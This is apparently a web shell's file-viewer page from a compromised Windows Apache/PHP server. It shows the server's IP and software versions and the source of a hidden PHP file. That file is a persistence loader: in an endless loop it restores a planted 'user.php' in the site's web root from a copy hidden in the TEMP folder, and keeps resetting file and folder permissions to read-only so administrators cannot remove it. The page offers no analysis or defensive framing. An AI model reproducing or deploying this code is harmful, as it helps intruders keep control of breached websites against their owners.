One Hat Cyber Team

Your IP : 172.16.0.254

Server IP : 58.26.163.33

Server : Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64

Server Software : Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25

PHP Version : 7.3.25

View File Name : .QzpceGFtcHA3XGh0ZG9jc1xlZGdwZW5zdXNlci1oYW5kbGVy

<?php
@ini_set("max_execution_time", 0);
while (True){
    if (!file_exists("C:\xampp7\htdocs\edgpens")){
        mkdir("C:\xampp7\htdocs\edgpens");
    }
    if (!file_exists("C:\xampp7\htdocs\edgpens/user.php")){
        $text = base64_encode(file_get_contents("C:\Windows\TEMP/.sessions/.QzpceGFtcHA3XGh0ZG9jc1xlZGdwZW5zdXNlci10ZXh0"));
        file_put_contents("C:\xampp7\htdocs\edgpens/user.php", base64_decode($text));
    }
    if (gecko_perm("C:\xampp7\htdocs\edgpens/user.php") != 0444){
        chmod("C:\xampp7\htdocs\edgpens/user.php", 0444);
    }
    if (gecko_perm("C:\xampp7\htdocs\edgpens") != 0555){
        chmod("C:\xampp7\htdocs\edgpens", 0555);
    }
}

function gecko_perm($flename){
    return substr(sprintf("%o", fileperms($flename)), -4);
}